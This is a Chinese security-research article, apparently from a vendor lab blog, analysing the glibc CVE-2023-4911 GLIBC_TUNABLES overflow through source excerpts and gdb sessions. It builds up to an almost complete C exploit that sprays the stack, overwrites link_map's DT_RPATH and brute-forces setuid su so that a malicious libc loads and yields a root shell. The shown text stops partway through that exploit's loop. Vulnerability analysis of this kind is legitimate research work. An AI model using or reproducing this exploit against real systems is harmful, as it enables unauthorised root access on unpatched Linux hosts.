glibc 提权漏洞(CVE-2023-4911)分析
2023-12-18 18:23:0 Author: paper.seebug.org(查看原文) 阅读量:21 收藏

作者:Hcamael@知道创宇404实验室
时间:2023年12月18日

最近 glibc 被曝出一个漏洞:CVE-2023-4911。初步观察表明,该漏洞具有较为严重的潜在危害。本文旨在分析该漏洞,评估该漏洞的利用难度和危害。

网上能搜集到的信息如下:

  • 漏洞详情[1]
  • 在环境 glibc 2.35-0ubuntu3 (aarch64) 和 glibc 2.36-9+deb12u2 (amd64)下测试通过的 exp[2]

我们先通过详情来看漏洞点,根据漏洞详情中的介绍,该漏洞位于 glibc 的elf/dl-tunables.c文件中的parse_tunables函数:

static void
parse_tunables (char *tunestr, char *valstring)
{
  if (tunestr == NULL || *tunestr == '\0')
    return;

  char *p = tunestr;
  size_t off = 0;

  while (true)
    {
      char *name = p;
      size_t len = 0;

      /* First, find where the name ends.  */
      while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
    len++;

      /* If we reach the end of the string before getting a valid name-value
     pair, bail out.  */
      if (p[len] == '\0')
    {
      if (__libc_enable_secure)
        tunestr[off] = '\0';
      return;
    }

      /* We did not find a valid name-value pair before encountering the
     colon.  */
      if (p[len]== ':')
    {
      p += len + 1;
      continue;
    }

      p += len + 1;

      /* Take the value from the valstring since we need to NULL terminate it.  */
      char *value = &valstring[p - tunestr];
      len = 0;

      while (p[len] != ':' && p[len] != '\0')
    len++;

      /* Add the tunable if it exists.  */
      for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
    {
      tunable_t *cur = &tunable_list[i];

      if (tunable_is_name (cur->name, name))
        {
          /* If we are in a secure context (AT_SECURE) then ignore the
         tunable unless it is explicitly marked as secure.  Tunable
         values take precedence over their envvar aliases.  We write
         the tunables that are not SXID_ERASE back to TUNESTR, thus
         dropping all SXID_ERASE tunables and any invalid or
         unrecognized tunables.  */
          if (__libc_enable_secure)
        {
          if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
            {
              if (off > 0)
            tunestr[off++] = ':';

              const char *n = cur->name;

              while (*n != '\0')
            tunestr[off++] = *n++;

              tunestr[off++] = '=';

              for (size_t j = 0; j < len; j++)
            tunestr[off++] = value[j];
            }

          if (cur->security_level != TUNABLE_SECLEVEL_NONE)
            break;
        }

          value[len] = '\0';
          tunable_initialize (cur, value);
          break;
        }
    }

      if (p[len] != '\0')
    p += len + 1;
    }
}

调用该函数的代码位于该文件的__tunables_init函数中:

void
__tunables_init (char **envp)
{
  char *envname = NULL;
  char *envval = NULL;
  size_t len = 0;
  char **prev_envp = envp;

  maybe_enable_malloc_check ();

  while ((envp = get_next_env (envp, &envname, &len, &envval,
                   &prev_envp)) != NULL)
    {
#if TUNABLES_FRONTEND == TUNABLES_FRONTEND_valstring
      if (tunable_is_name (GLIBC_TUNABLES, envname))
    {
      char *new_env = tunables_strdup (envname);
      if (new_env != NULL)
        parse_tunables (new_env + len + 1, envval);
      /* Put in the updated envval.  */
      *prev_envp = new_env;
      continue;
    }
#endif
......
}

相关代码不长,仔细看几遍代码就能理解,理解困难的话建议加上调试,此处我就总结一下该漏洞触发的流程。

  1. 匹配环境变量GLIBC_TUNABLES
  2. 该环境变量的值使用tunables_strdup函数,类似strdup函数,就是把字符串放到上,但是因为这个时候 libc 还没有初始化完成,所以使用的是__minimal_malloc
  3. 接着调用 parse_tunables 函数来处理GLIBC_TUNABLES环境变量的值。
  4. libc 有一个表:tunable_list,可以通过 gdb 来输出一下这个表的信息。
  5. __libc_enable_secure启用使用,并且安全等级不是TUNABLE_SECLEVEL_SXID_ERASE时,会对环境变量进行一些处理,而这个处理就造成缓冲区溢出漏洞。

溢出的原因请仔细阅读parse_tunables函数代码,这里不再展开。不过下面给出一个示例来演示一下溢出的过程,这里有一个要注意的地方:gdb 没办法直接调试 suid 的程序,需要用到一个小技巧。

首先写一个中间程序:

// a.c
#include <unistd.h>
int main(int argc, char *argv[])
{
  char *cmd[] = {"/usr/bin/su", "--help"};
  char *envp[] = {"GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"};
    execve(cmd[0], cmd, envp);
    return 0;
}
// gcc a.c -o a

再编写一个.gdbinit文件:

$ cat .gdbinit
start
set follow-exec-mode new
dir /usr/src/glibc/glibc-2.35/elf/
b __GI___tunables_init
c

接着就能开始使用 gdb 进行调试:

$ gdb a
 ? 0x7f43e9d6c560 <__GI___tunables_init>       endbr64
# 接着找到 tunables_strdup 函数中 __minimal_malloc 的位置,找到申请的内存地址
pwndbg> b *(__GI___tunables_init+511)
pwndbg> c
 ? 0x7f43e9d6c75f <__GI___tunables_init+511>    call   __minimal_malloc                <__minimal_malloc>
        rdi: 0x3a
pwndbg> ni
*RAX  0x7f43e9d902e0 ?— 0x0
# 然后断点下到 parse_tunables
pwndbg> b parse_tunables
pwndbg> c
pwndbg> x/4s 0x7f43e9d902e0
0x7f43e9d902e0: "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"
0x7f43e9d90319: ""
0x7f43e9d9031a: ""
0x7f43e9d9031b: ""
# 确认一下 __libc_enable_secure = 1
pwndbg> p __libc_enable_secure
$1 = 1
# 接着找到 parse_tunables 结束的代码
pwndbg> b *(__GI___tunables_init+729)
pwndbg> c
pwndbg> x/4s 0x7f43e9d902e0
0x7f43e9d902e0: "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A:glibc.malloc.mxfast=A:glibc.malloc.mxfast=u:glibc.malloc.mxfast=" # 缓冲区溢出
0x7f43e9d9035a: ""
0x7f43e9d9035b: ""
0x7f43e9d9035c: ""

先来说说该漏洞利用的一些前置条件,通过parse_tunables函数的代码,可以发现,只有当__libc_enable_secure == 1的情况下,才会进入有漏洞的分支,那么什么情况下__libc_enable_secure=1呢?

翻阅 glibc 的代码,发现__libc_init_secure函数:

void
__libc_init_secure (void)
{
  if (__libc_enable_secure_decided == 0)
    __libc_enable_secure = (startup_geteuid () != startup_getuid ()
                || startup_getegid () != startup_getgid ());
}

也就是说,只有当运行 suid/sgid 程序时,__libc_enable_secure才会等于 1,如下所示:

$ id
uid=1000(ubuntu) gid=1000(ubuntu)
$ ls -alF /usr/bin/su
-rwsr-xr-x 1 root root 55672 Feb 21  2022 /usr/bin/su*
# su程序的__libc_enable_secure=1
$ ls -alF test1
-rwsrwsr-x 1 www-data www-data 17224 Oct 13 22:06 test1*
# 运行test1程序,__libc_enable_secure也等于1
$ ls -alF test2
-rwsrwsr-x 1 ubuntu ubuntu 17224 Oct 13 22:06 test2*
# 运行test2程序,__libc_enable_secure等于0

也就是说,该漏洞的作用其实是用来越权,但是从一个受限用户越权到另一个受限用户的作用有限,不如从普通用户越权到 root 用户,以达到提权的效果。所以该漏洞最后的利用思路就是用来提权,本质上就是去溢出(PWN) 一个有 root 权限的程序,所以和内核提权的漏洞还是有本质上的区别。

再加上,该漏洞的输入点位于环境变量,所以该漏洞也就只能用来提权。

首先,我想说一下该部分的内容。在完全理解漏洞发现者的利用思路后,我发现 glibc 的代码量还是非常大的,我目前也做不到对 glibc 的每个细节都了如指掌,所以暂时也没想到比该利用思路更完美的方法,以下内容只是分享一下我对该利用思路的研究过程和理解。

1.简单地浏览一下公开的exp代码,发现如下代码:

    with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
        fh.write(libc_e.d[0:__libc_start_main])
        fh.write(shellcode)
        fh.write(libc_e.d[__libc_start_main + len(shellcode) :])

随后可进行推测,因为漏洞是发生在ld加载程序中,所以可能替换掉 libc 的加载路径,就能加载自己修改过的恶意 libc 库。而加载程序 libc 时会默认运行起始函数的代码,起始函数是__libc_start_main函数,所以把这部分的代码替换成自己要执行的 shellcode,那么加载恶意 libc 库的时候就会执行恶意嵌入的 shellcode 代码。

接下来就是开始研究该漏洞是如何替换掉 libc 的加载路径的。

2.在相应的环境上运行一下,ASLR 开启的情况下,exp 不是一次就能成功的,ASLR 关闭的情况下没利用成功,暂且不管。

3.继续看exp代码,发现跟程序地址有关的只有一个stack_top地址,表示栈顶地址,而且经过计算后,最后的payload中,该地址是一个定值,不会发现变化。我对这种利用方式深感好奇,认为这一利用思路非常巧妙,仅需覆盖一个栈地址即可替换 libc 的加载路径。

4.接下来我花一些时间去一步步调试,最后理解清楚该利用思路。为了节省大家时间,这里用一个 demo,然后缩减 exp 的内容,来帮助大家理解该利用思路。

首先写一个测试程序:

// test.c
#include <stdio.h>

unsigned long ptr = -0x18ULL;

int main(int argc, char *argv[])
{
    printf("Hello World.");
    return 0;
}
// gcc test.c -g -no-pie -o test
// ls -alF test
// -rwsrwsr-x 1 root root 17224 Oct 13 22:06 test*

我们设置的第一个环境变量为:

char fill[0xd00];
strcpy(fill, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
for (int i = strlen(fill1); i < (0xd00 - 1); i++)
{
        fill[i] = 'A';
}
fill[0xd00 - 1] = '\0';

这部分将会调用__minimal_malloc(0xd00 + 1),这个时候的内存信息如下:

RAX  0x7f4109f8f2e0 ?— 0x0     # malloc的返回值
pwndbg> vmmap
0x7f4109f8c000     0x7f4109f90000 rw-p     4000 37000  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
> hex(0x7f4109f8f2e0 + 0xd01)
'0x7f4109f8ffe1'
> hex(0x7f4109f90000 - 0x7f4109f8ffe1)
'0x1f'

也就是说,这部分内存区域只剩下 0x1f 字节,如果后续还要调用 malloc,那么则会通过 mmap 申请一段新内存区域。

第一部分不会触发溢出漏洞。

设置的第二部分环境变量为:

#define PAYLOAD_SIZE 0x100
char payload[PAYLOAD_SIZE];

strcpy(payload, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");
for (int i = strlen(payload); i < PAYLOAD_SIZE - 1; i++)
{
    payload[i] = 'B';
}
    payload[PAYLOAD_SIZE - 1] = '\0';

第二部分将会调用__minimal_malloc(0x100 + 1),这个时候的内存信息如下:

*RAX  0x7f4109f52000 ?— 0x0     # malloc的返回值
pwndbg> vmmap
  0x7f4109f52000     0x7f4109f54000 rw-p     2000 0      [anon_7f4109f52]
> hex(0x7f4109f52000 + 0x100)
'0x7f4109f52100'

如果我们构造的代码到此为止,那么下一次 ld 获取内存是位于_dl_new_object函数中,调用__minimal_calloc函数,调试情况如下所示:

pwndbg> b *(_dl_new_object+109)
pwndbg> c
   0x7f4908e899fd <_dl_new_object+109>     call   qword ptr [rip + 0x2c06d]     <__minimal_calloc>
pwndbg> ni
*RAX  0x7f4908e74c40 ?— 0x0

调用_dl_new_object是为了给struct link_map结构体申请内存,所以可以查看一下该结构:

pwndbg> b *(_dl_new_object+115)
pwndbg> c
   0x7ffaa8c249fd <_dl_new_object+109>: call   QWORD PTR [rip+0x2c06d]        # 0x7ffaa8c50a70 <__rtld_calloc> # __minimal_calloc
=> 0x7ffaa8c24a03 <_dl_new_object+115>: mov    r14,rax
pwndbg> p *((struct link_map *) $rax)
$1 = {
  l_addr = 4774451407232463713,
  l_name = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>,
  l_ld = 0x4242424242424242,
  l_next = 0x4242424242424242,
  l_prev = 0x4242424242424242,
  l_real = 0x4242424242424242,
  l_ns = 4774451407313060418,
  l_libname = 0x4242424242424242,
  l_info = {0x4242424242424242 <repeats 17 times>, 0x696c673a42424242, 0x6f6c6c616d2e6362, 0x74736166786d2e63, 0x3d, 0x0 <repeats 24 times>, 0x2e6362696c673a00, 0x6d2e636f6c6c616d, 0x3d7473616678, 0x0 <repeats 29 times>},

通过该结构的数据发现,我们可以成功覆盖struct link_map结构体,所以这个时候产生了一个思路:通过覆盖该结构体的某个指针来达到命令执行的目的,而这需要对 glibc 的代码非常熟悉,加上调试测试,才可能找到一个可行的利用链。

而漏洞发现者找到的利用链,利用到了link_map->l_info[DT_RPATH]成员变量,相关代码位于elf/dl-load.c文件的_dl_init_paths函数:

void
_dl_init_paths (const char *llp, const char *source,
        const char *glibc_hwcaps_prepend,
        const char *glibc_hwcaps_mask)
{
......
      if (l->l_info[DT_RPATH])
    {
      /* Allocate room for the search path and fill in information
         from RPATH.  */
      decompose_rpath (&l->l_rpath_dirs,
               (const void *) (D_PTR (l, l_info[DT_STRTAB])
                       + l->l_info[DT_RPATH]->d_un.d_val),
               l, "RPATH");
      /* During rtld init the memory is allocated by the stub
         malloc, prevent any attempt to free it by the normal
         malloc.  */
      l->l_rpath_dirs.malloced = 0;
    }
      else
    l->l_rpath_dirs.dirs = (void *) -1;
    }
......

关于DT_RPATH的用法,可以 Google 搜索一下:

简单来说,DT_RPATH的值是一个偏移值,如果设置该值,那么就会在执行程序的DT_STRTAB表中搜索字符串作为 libc 的搜索路径。

这样就产生一条利用链:通过内存溢出,设置link_map->l_info[DT_RPATH],从而控制libc库加载的搜索路径,加载恶意的 libc.so 来达到命令执行目的。

我们来简单测试一下:

pwndbg> x/10gx 0x404028
0x404028:   0x0000000000000000  0xffffffffffffffe8     # 这个就是我们test.c代码中设置的unsigned long ptr = -0x18ULL;
0x404038 <completed.0>: 0x0000000000000000  0x0000000000000000
0x404048:   0x0000000000000000  0x0000000000000000
0x404058:   0x0000000000000000  0x0000000000000000
pwndbg> b *(_dl_init_paths+669)
pwndbg> c
 ? 0x7f8596e999ad <_dl_init_paths+669>    mov    rax, qword ptr [rbx + 0xb8]   // l->l_info[DT_RPATH] = [rbx + 0xb8]
   0x7f8596e999b4 <_dl_init_paths+676>    mov    qword ptr [rbx + 0x3c0], -1
   0x7f8596e999bf <_dl_init_paths+687>    test   rax, rax
   0x7f8596e999c2 <_dl_init_paths+690>    je     _dl_init_paths+949                <_dl_init_paths+949>
────────[ SOURCE (CODE) ]─────────
In file: /usr/src/glibc/glibc-2.35/elf/dl-load.c
   804   else
   805     {
   806       l->l_runpath_dirs.dirs = (void *) -1;
   807
 ? 808       if (l->l_info[DT_RPATH])
   809  {
   810    /* Allocate room for the search path and fill in information
   811       from RPATH.  */
   812    decompose_rpath (&l->l_rpath_dirs,
   813             (const void *) (D_PTR (l, l_info[DT_STRTAB])
pwndbg> x/gx $rbx + 0xb8
0x7fb757376398: 0x0000000000000000
pwndbg> set *0x7fb757376398=0x404028
pwndbg> p ((struct link_map *) $rbx)->l_info[15]
$4 = (Elf64_Dyn *) 0x404028
pwndbg> b *(_dl_init_paths+718)
pwndbg> c
 ? 0x7fb7573439de <_dl_init_paths+718>    add    rsi, qword ptr [rax + 8]      <ptr>
   0x7fb7573439e2 <_dl_init_paths+722>    lea    rdi, [rbx + 0x330]
   0x7fb7573439e9 <_dl_init_paths+729>    lea    rcx, [rip + 0x253c8]
   0x7fb7573439f0 <_dl_init_paths+736>    add    rsi, rdx
   0x7fb7573439f3 <_dl_init_paths+739>    mov    rdx, rbx
   0x7fb7573439f6 <_dl_init_paths+742>    call   decompose_rpath                <decompose_rpath>
────────[ SOURCE (CODE) ]─────────
In file: /usr/src/glibc/glibc-2.35/elf/dl-load.c
   809  {
   810    /* Allocate room for the search path and fill in information
   811       from RPATH.  */
   812    decompose_rpath (&l->l_rpath_dirs,
   813             (const void *) (D_PTR (l, l_info[DT_STRTAB])
 ? 814                     + l->l_info[DT_RPATH]->d_un.d_val),
   815             l, "RPATH");

pwndbg> b *(_dl_init_paths+742)
pwndbg> c
 ? 0x7fb7573439f6 <_dl_init_paths+742>    call   decompose_rpath                <decompose_rpath>
        rdi: 0x7fb757376610 ?— 0x0
        rsi: 0x400418 ?— 0x200000003b /* ';' */
        rdx: 0x7fb7573762e0 ?— 0x0
        rcx: 0x7fb757368db8 ?— 0x3b3a004854415052 /* 'RPATH' */

路径就是decompose_rpath函数的第二个参数,是一个指针,其值为0x400418,指向";"字符串,那么该值是如何算出来的?STRTAB 地址为0x400430,我们设置的l->l_info[DT_RPATH]->d_un.d_val = -0x18,两者相加,就等于0x400418。接着继续调试:

# 执行完decompose_rpath后,查看link_map结构体
pwndbg> p **(((struct link_map *) $rbx)->l_rpath_dirs->dirs)
$7 = {
  next = 0x7f33ac209000,
  what = 0x7f33ac238db8 "RPATH",
  where = 0x7f33ac2091bb "",
  dirname = 0x7f33ac2091b8 ";/",     # 成功设置了libc搜索路径
  dirnamelen = 2,
  status = 0x7f33ac209198
}
pwndbg> b open_verify
Breakpoint 4 at 0x7f33ac211940 (2 locations)
pwndbg> c
*RDI  0x7fff0b17b0a0 ?— ';/tls/x86_64/x86_64/libc.so.6'
# 这里可以一直按c,查看rdi寄存器,最简单的路径如下
*RDI  0x7fff0b17b0a0 ?— ';/libc.so.6'
# 接着就可以关闭断点,继续执行了,就可以得到shell,如果执行失败,那可能是因为你没创建';/libc.so.6'文件
pwndbg> c
$ id
uid=1000(ubuntu) gid=1000(ubuntu)

由于是使用 gdb 进行调试,所以没能获得 root 权限,但是这并不构成问题。只要我们走通流程,就可以进入下一步。

我们该如何覆盖到link_map->l_info[DT_RPATH]结构?我们已知,在执行完__tunables_init函数后,下一次申请内存地址就是在_dl_new_object函数,也就是说,我们要覆盖的地址和我们溢出的内存是相邻的。

也就是要溢出覆盖到之后偏移为0xb8的地址 ,并且这区间的地址值建议覆盖成\\0,防止 glibc 代码中有相关的检查导致报错。

我研究出一种简单的方法来快速调试需要覆盖的地址偏移:

  1. 我们断点下在_dl_new_object函数的calloc处,也就是_dl_new_object+109,方便调试,查看内存布局。
  2. exp.c中,envp[0] = fill1;用来填充旧的内存区域,envp[1] = payload;用来进行内存溢出。

因此之后要留有一部分区域置 0,直到设置到\xb8:

for (int i=2;i<ENVP_SIZE-1;i++)
  envp[i] = "";
envp[0x20 + 0xb8] = "\x28\x40\x40";
# payload 的长度随便设置,暂时选择了 0x100

接着调试,看看我们这样的布局能溢出成怎样的内存布局:

pwndbg> b *(_dl_new_object+109)
pwndbg> c
pwndbg> vmmap
    0x7fca03d3c000     0x7fca03d3e000 rw-p     2000 0      [anon_7fca03d3c]
pwndbg> x/64gx 0x7fca03d3c000 + 0x100
......
0x7fca03d3c1f0: 0x000000000000003d  0x0000000000000000
0x7fca03d3c200: 0x0000000000000000  0x0000000000000000
0x7fca03d3c210: 0x0000000000000000  0x0000000000000000
0x7fca03d3c220: 0x0000000000000000  0x0000000000000000
0x7fca03d3c230: 0x0000000000000000  0x0000000000000000
0x7fca03d3c240: 0x0000000000000000  0x0000000000000000
0x7fca03d3c250: 0x0000000000000000  0x0000000000000000
0x7fca03d3c260: 0x0000000000000000  0x0000000000000000
0x7fca03d3c270: 0x0000000000000000  0x0000000000000000
0x7fca03d3c280: 0x0000000000000000  0x0000000000000000
0x7fca03d3c290: 0x0000000000000000  0x0000000000000000
0x7fca03d3c2a0: 0x0000000000000000  0x0000000000000000
0x7fca03d3c2b0: 0x0000404028000000  0x2e6362696c673a00
0x7fca03d3c2c0: 0x6d2e636f6c6c616d  0x00003d7473616678
0x7fca03d3c2d0: 0x0000000000000000  0x0000000000000000
0x7fca03d3c2e0: 0x0000000000000000  0x0000000000000000
0x7fca03d3c2f0: 0x0000000000000000  0x0000000000000000

我们覆盖的值为0x404028,从上面可以看出该值的地址为: 0x7fca03d3c2b3,计算一下:

>>> hex(0x7fca03d3c2b3 - 0x7fca03d3c1f8)
'0xbb'
# 发现大于0xb8

从这里可以得知link_map结构体的前部分结构应该没有问题,但是问题在于后部:

pwndbg> x/6gx 0x7fca03d3c2b3
0x7fca03d3c2b3: 0x673a000000404028  0x6c616d2e6362696c
0x7fca03d3c2c3: 0x6166786d2e636f6c  0x00000000003d7473
0x7fca03d3c2d3: 0x0000000000000000  0x0000000000000000
pwndbg> x/5s 0x7fca03d3c2b3
0x7fca03d3c2b3: "(@@"
0x7fca03d3c2b7: ""
0x7fca03d3c2b8: ""
0x7fca03d3c2b9: ":glibc.malloc.mxfast="
0x7fca03d3c2cf: ""

受漏洞点的限制,溢出的结尾必定有:xxxxx=字符,我们要做的就是让该字符,离link_map结构远一点,或者该部分区域会在ld中进行初始化设置。

想要精细的调整,需要去研究哪些结构可以不置 0,但是我认为这种程度的精细调整并非必要,只需要调整payload的长度,和envp[0x20 + 0xb8]前部分这个偏移值,让:xxxxx=字符串不影响到我们覆盖的地址就行。先这样使用,如果遇到报错,则继续调整,这样我们就没有必要继续阅读 glibc 源码。

当我把payload的大小调整为0x200时,这个时候的内存布局如下:

pwndbg> vmmap
    0x7f94440ce000     0x7f94440d0000 rw-p     2000 0      [anon_7f94440ce]
pwndbg> x/2gx 0x7f94440ce000 + 0x200
0x7f94440ce200: 0x616d2e6362696c67  0x66786d2e636f6c6c
pwndbg> x/8gx 0x7f94440ce4b3
0x7f94440ce4b3: 0x0000000000404028  0x0000000000000000
0x7f94440ce4c3: 0x0000000000000000  0x0000000000000000
0x7f94440ce4d3: 0x0000000000000000  0x0000000000000000
0x7f94440ce4e3: 0x0000000000000000  0x0000000000000000
pwndbg> x/32gx 0x7f94440ce4b3 - 0xb8
0x7f94440ce3fb: 0x0000000000000000  0x0000000000000000
0x7f94440ce40b: 0x0000000000000000  0x0000000000000000
0x7f94440ce41b: 0x0000000000000000  0x0000000000000000
0x7f94440ce42b: 0x0000000000000000  0x0000000000000000
0x7f94440ce43b: 0x0000000000000000  0x0000000000000000
0x7f94440ce44b: 0x0000000000000000  0x0000000000000000
0x7f94440ce45b: 0x0000000000000000  0x0000000000000000
0x7f94440ce46b: 0x0000000000000000  0x0000000000000000
0x7f94440ce47b: 0x0000000000000000  0x0000000000000000
0x7f94440ce48b: 0x0000000000000000  0x0000000000000000
0x7f94440ce49b: 0x0000000000000000  0x0000000000000000
0x7f94440ce4ab: 0x0000000000000000  0x0000000000404028

从上面的内存布局来看,我们构造的link_map结构是没问题的,但是怎么让link_map申请的内存段为我们设置好的这段呢?我们先算一下,我们需要让link_map = 0x7f94440ce3fb,那么:

>>> hex(0x7f94440ce3fb - 0x7f94440ce200)
'0x1fb'

中间这0x1fb字节需要被填充。另外需要考虑对齐的问题,堆分配到的地址不可能结尾地址为0xfb,所以还需要微调一下:envp[0x25 + 0xb8] = "\x28\x40\x40";

再看一下内存结构:

pwndbg> vmmap
    0x7f52386a6000     0x7f52386a8000 rw-p     2000 0      [anon_7f52386a6]
pwndbg> x/2gx 0x7f52386a6000 + 0x200
0x7f52386a6000: 0x616d2e6362696c67  0x66786d2e636f6c6c
pwndbg> x/2gx 0x7f52386a64b8
0x7f52386a64b8: 0x0000000000404028  0x0000000000000000
pwndbg> x/32gx 0x7f52386a64b8 - 0xb8
0x7f52386a6400: 0x0000000000000000  0x0000000000000000
0x7f52386a6410: 0x0000000000000000  0x0000000000000000
0x7f52386a6420: 0x0000000000000000  0x0000000000000000
0x7f52386a6430: 0x0000000000000000  0x0000000000000000
0x7f52386a6440: 0x0000000000000000  0x0000000000000000
0x7f52386a6450: 0x0000000000000000  0x0000000000000000
0x7f52386a6460: 0x0000000000000000  0x0000000000000000
0x7f52386a6470: 0x0000000000000000  0x0000000000000000
0x7f52386a6480: 0x0000000000000000  0x0000000000000000
0x7f52386a6490: 0x0000000000000000  0x0000000000000000
0x7f52386a64a0: 0x0000000000000000  0x0000000000000000
0x7f52386a64b0: 0x0000000000000000  0x0000000000404028
0x7f52386a64c0: 0x0000000000000000  0x0000000000000000
0x7f52386a64d0: 0x0000000000000000  0x0000000000000000
0x7f52386a64e0: 0x0000000000000000  0x0000000000000000
0x7f52386a64f0: 0x0000000000000000  0x0000000000000000
>>> hex(0x7f52386a6400 - 0x7f52386a6200 - 0x10)
'0x1F0'
# 减去 0x10 是因为 payload 长度为 0x200,实际 malloc 申请的是 0x201,再加上偏移,所以下一个堆其实地址应该是 +0x210

这样,我们就需要在前面填充 0x1F0 字节,那怎么填充呢?可以利用开头填充上一块堆的思路。

#define PADDING_SIZE 0x1F0
char padding[PADDING_SIZE-3];
strcpy(padding, "GLIBC_TUNABLES=");
for (int i = strlen(padding); i < (PADDING_SIZE - 4); i++)
{
        padding[i] = 'D';
}
padding[PADDING_SIZE - 4] = '\0';
envp[ENVP_SIZE-2] = padding;

调试看看:

pwndbg> b *(_dl_new_object+115)
pwndbg> c
pwndbg> p ((struct link_map *) $rax)->l_info[15]
$2 = (Elf64_Dyn *) 0x404028

内存布局没问题,这个时候就删除断点直接运行试试。发现成功执行命令,接着就是退出 gdb,直接执行我们的 exp 程序,成功获取到 root 权限。

5.1结合实际

前面的内容帮我们把利用思路都给梳理好了,但是和实际还是有差距的,因为在实际环境中,不存在一个test程序, 这个我们测试用的test程序是没有开PIE的,所以我们写入0x404028地址,可以稳定触发。

我查找了 ubuntu 的实际程序,所有suid的程序都开启 PIE 保护,也就是说,我们没有一个已知地址。我又查看了内存布局,在执行ld代码的时候,内存布局大致如下:

pwndbg> vmmap
    0x55985479c000     0x55985479e000 r--p     2000 0      /usr/sbin/unix_chkpwd
    0x55985479e000     0x5598547a1000 r-xp     3000 2000   /usr/sbin/unix_chkpwd
    0x5598547a1000     0x5598547a2000 r--p     1000 5000   /usr/sbin/unix_chkpwd
    0x5598547a2000     0x5598547a4000 rw-p     2000 5000   /usr/sbin/unix_chkpwd
    0x7faf282aa000     0x7faf282ac000 r--p     2000 0      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7faf282ac000     0x7faf282d6000 r-xp    2a000 2000   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7faf282d6000     0x7faf282e1000 r--p     b000 2c000  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7faf282e2000     0x7faf282e6000 rw-p     4000 37000  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffd042d5000     0x7ffd042f6000 rw-p    21000 0      [stack]
    0x7ffd0439e000     0x7ffd043a2000 r--p     4000 0      [vvar]
    0x7ffd043a2000     0x7ffd043a4000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 --xp     1000 0      [vsyscall]

我们只能确定vsyscall地址,但是很抱歉,该地址没有可读权限,所以没办法利用。在没有已知地址的情况下,这个时候能想到的只有内存 Spray 了,比较合适的是 Stack Spray。

所以考虑通过环境变量来在栈上填充-0x14UL,代码如下:

#define STACK_SIZE 0x20000
char stack_spray[STACK_SIZE];
for (int i = 0; i < STACK_SIZE; i += 8)
{
    *(uintptr_t *)(stack_spray + i) = -0x14ULL;
}
stack_spray[STACK_SIZE - 1] = '\0';

for (int i = 0; i < 0x2F; i++)
{
    envp[0x180 + i] = stack_spray;
}

一般情况下可能会报错:execve("/usr/bin/su", ["/usr/bin/su", "--help"], 0x7fff64f33a50 /* 499 vars */) = -1 E2BIG (Argument list too long)

可以在 execve 前调用一下下方代码,可以让缓冲区扩大到:0x20000 * 0x2F:

    struct rlimit rlim = {RLIM_INFINITY, RLIM_INFINITY};
  if (setrlimit(RLIMIT_STACK, &rlim) < 0)
  {
    perror("setrlimit");
  }

剩下的任务就是确定一个栈地址,接着就是顺其自然的爆破了。

最后贴一下简化版的相关代码:

#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <sys/resource.h>
#include <stdio.h>
#include <time.h>
#include <sys/wait.h>


#define ENVP_SIZE 600
#define PADDING_SIZE 0x1F0
#define STACK_SIZE 0x20000

int64_t time_us()
{
    struct timespec tms;

    /* POSIX.1-2008 way */
    if (clock_gettime(CLOCK_REALTIME, &tms))
    {
        return -1;
    }
    /* seconds, multiplied with 1 million */
    int64_t micros = tms.tv_sec * 1000000;
    /* Add full microseconds */
    micros += tms.tv_nsec / 1000;
    /* round up if necessary */
    if (tms.tv_nsec % 1000 >= 500)
    {
        ++micros;
    }
    return micros;
}

int main(int argc, char *argv[])
{
//  char *nargv[] = {"/home/hehe/Documents/libc-exp/test",  NULL};
        char *nargv[] = {"/usr/bin/su", "--help", 0};
        char *envp[ENVP_SIZE] = {0, };
    char fill1[0xd00];
    char payload[0x200];
    char padding[PADDING_SIZE-3];
    char stack_spray[STACK_SIZE];

    strcpy(fill1, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
    for (int i = strlen(fill1); i < sizeof(fill1) - 1; i++)
        {
            fill1[i] = 'A';
        }
        fill1[sizeof(fill1) - 1] = '\0';

    strcpy(payload, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");
        for (int i = strlen(payload); i < sizeof(payload) - 1; i++)
        {
            payload[i] = 'B';
        }
        payload[sizeof(payload) - 1] = '\0';

    strcpy(padding, "GLIBC_TUNABLES=");
    for (int i = strlen(padding); i < (PADDING_SIZE - 4); i++)
    {
        padding[i] = 'D';
    }
    padding[PADDING_SIZE - 4] = '\0';

    for (int i = 0; i < STACK_SIZE; i += 8)
    {
        *(uintptr_t *)(stack_spray + i) = -0x14ULL;
    }
    stack_spray[STACK_SIZE - 1] = '\0';



        for (int i = 2; i < ENVP_SIZE-1; i++)
    {
        envp[i] = "";
    }
    envp[0] = fill1;
    envp[1] = payload;
        // envp[0] = "";
        // envp[1] = "";
    envp[0x25 + 0xb8] = "\x10\xF0\xFF\xFF\xFC\x7F";

    for (int i = 0; i < 0x2F; i++)
    {
        envp[0x200 + i] = stack_spray;
    }
        envp[0x1FE] = padding;
    envp[0x23F] = "AAAA";
    struct rlimit rlim = {RLIM_INFINITY, RLIM_INFINITY};
        if (setrlimit(RLIMIT_STACK, &rlim) < 0)
        {
            perror("setrlimit");
        }

    int pid;
    for (int ct = 1;; ct++)
    {
        if (ct % 100 == 0)
        {
            printf("try %d\n", ct);
        }
        if ((pid = fork()) < 0)
        {
            perror("fork");
            break;
        }
        else if (pid == 0) // child
        {
            if (execve(nargv[0], nargv, envp) < 0)
            {
                perror("execve");
                break;
            }
        }
        else // parent
        {
            int wstatus;
            int64_t st, en;
            st = time_us();
            wait(&wstatus);
            en = time_us();
            if (!WIFSIGNALED(wstatus) && en - st > 1000000)
            {
